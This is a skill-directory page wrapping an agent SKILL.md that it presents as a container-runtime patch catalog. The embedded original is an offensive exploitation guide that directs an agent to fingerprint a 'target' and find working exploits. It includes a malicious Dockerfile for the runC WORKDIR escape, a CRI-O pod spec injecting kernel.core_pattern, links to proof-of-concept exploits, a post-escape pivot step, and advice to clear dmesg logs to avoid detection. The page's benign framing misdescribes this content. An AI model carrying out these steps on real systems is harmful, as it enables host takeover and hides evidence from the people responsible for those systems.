container-cve
What it does
This skill is a catalog of notable container runtime vulnerabilities, with the affected versions and the kind of impact each one has. It is for administrators who need to know if their container stack needs patching.
When to use it
- βWhen an administrator asks the agent whether their container runtime versions are affected by a known flaw.
- βWhen the agent identifies the container stack and compares it with the catalog's affected version ranges.
- βWhen a patch plan must list which runtime fixes are urgent.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/container/container-cve/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βOur servers run Docker and runC, so can you check whether their versions are affected by any listed container runtime flaws?β
5 new skills a week. 1 minute to read.
How it works
The agent gathers version details from the host and container, compares them with the affected ranges in the catalog, and lists the matching flaws.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Container-Runtime CVE Catalog
When you've identified a container target, fingerprint the runtime stack, then check this catalog for a working exploit. Newest first.
Fingerprint the stack
# Inside the target container
cat /etc/os-release # base image
cat /proc/version # host kernel
docker version 2>/dev/null # if you have client+socket
ctr version 2>/dev/null
runc --version 2>/dev/null
# From kubelet metadata, if accessible:
curl -k https://127.0.0.1:10250/runningpods | jq '.items[0].metadata'
Catalog
CVE-2024-21626 β runC "Leaky Vessels" WORKDIR escape
Affects: runC < 1.1.12, Docker < 25.0.3, containerd < 1.7.13, BuildKit < 0.12.5
Primitive: WORKDIR pointing at /proc/self/fd/N (where N is an open kernel FD) lets the container CWD escape into the host filesystem.
# Build a malicious image
cat > Dockerfile <<'EOF'
FROM scratch
WORKDIR /proc/self/fd/8
COPY pwn /pwn
ENTRYPOINT ["/pwn"]
EOF
# Then run on target. Public PoC: github.com/snyk/leaky-vessels-static-detector
CVE-2024-23651/-23652/-23653 β BuildKit cache mount / RUN --mount escapes
Affects: BuildKit < 0.12.5
Primitive: Crafted Dockerfile uses cache or bind mounts to leak / overwrite host files during docker build.
CVE-2022-0185 β Linux FS context heap overflow
Affects: Linux kernel < 5.16.2 (host kernel β affects every container running on it)
Primitive: fsopen() syscall with a too-long string overflows the heap. CAP_SYS_ADMIN required, but trivial if the container has it.
# PoC: github.com/Crusaders-of-Rust/CVE-2022-0185
# Container escape via kernel β host root.
CVE-2019-5736 β runC binary overwrite
Affects: runC < 1.0.0-rc6, Docker < 18.09.2
Primitive: A malicious container can overwrite the runC binary on the host by exploiting how runC re-execs itself when handling docker exec.
# PoC: github.com/feexd/pocs/blob/master/CVE-2019-5736/
# Still alive on old air-gapped + appliance fleets.
CVE-2019-14271 β Docker cp library injection
Affects: Docker < 19.03.1
Primitive: docker cp loaded a libraries from inside the container, letting a malicious image overwrite libnss_files.so.2 to RCE the docker daemon (= host root).
CVE-2018-15664 β Docker cp TOCTOU symlink race
Affects: Docker < 18.09.3
Primitive: Symlink race between docker cp resolving the source path and reading it lets you read/write arbitrary host files.
Kubernetes CVE-2019-11247 β CR vs CRD RBAC bypass
Affects: Kubernetes 1.7β1.15 Primitive: RBAC checks for CustomResources used the wrong API group, so a user with permission to a CR in one namespace could access CRs in any namespace.
CRI-O CVE-2022-0811 β kernel sysctl injection
Affects: CRI-O 1.19+ through 1.23
Primitive: Pod spec securityContext.sysctls accepted unescaped kernel parameters β container escape via kernel.core_pattern.
apiVersion: v1
kind: Pod
metadata:
name: pwn
spec:
containers:
- name: pwn
image: alpine
securityContext:
sysctls:
- name: "kernel.shm_rmid_forced=1+kernel.core_pattern=|/proc/%P/fd/255 %P"
value: "0"
Workflow
cve_lookupthe runtime version (e.g.,runC 1.1.5) and intersect with the catalog above.cve_poc_lookupfor a working PoC.- Try in a copy of the target environment first; container CVE exploits are often kernel-version-fragile.
- If exploit yields root on host β see
k8s-pod-escapefor the post-escape pivot.
OPSEC
- All of these generate kernel audit / dmesg entries on success. dmesg ring buffer holds last ~1 MB β clear it (
dmesg -C) if root. - The image-based exploits (WORKDIR, BuildKit) require pushing/pulling an attacker image β log line in image-pull events.
References
- snyk.io/research/leaky-vessels β runC CVE-2024-21626 chain
- Aqua Security "Cloud Native Attack Matrix" β recent CVE coverage
- DEFCON 30 "Kernel Heap Exploitation" β CVE-2022-0185 deep dive
FAQ
Why check versions?
The skill says each flaw applies only to certain versions, so a version match is the first step.
Does a match prove the system is exposed?
No. The skill says the configuration and reachable paths must also be checked.
What is in the catalog?
It lists flaws such as Leaky Vessels, the BuildKit mount issues and older runC and kernel bugs.
Details
Original description by the author
High-impact container-runtime CVE catalog β runC Leaky Vessels (CVE-2024-21626/-23651/-23652/-23653), CVE-2022-0185 (FUSE/legacy-fs), CVE-2019-5736 (runC binary replace), CRI-O Dirty COW analogs, Kubernetes API server CVE-2019-11247 (custom-resource RBAC bypass). Fingerprint β match β exploit.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #13988
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.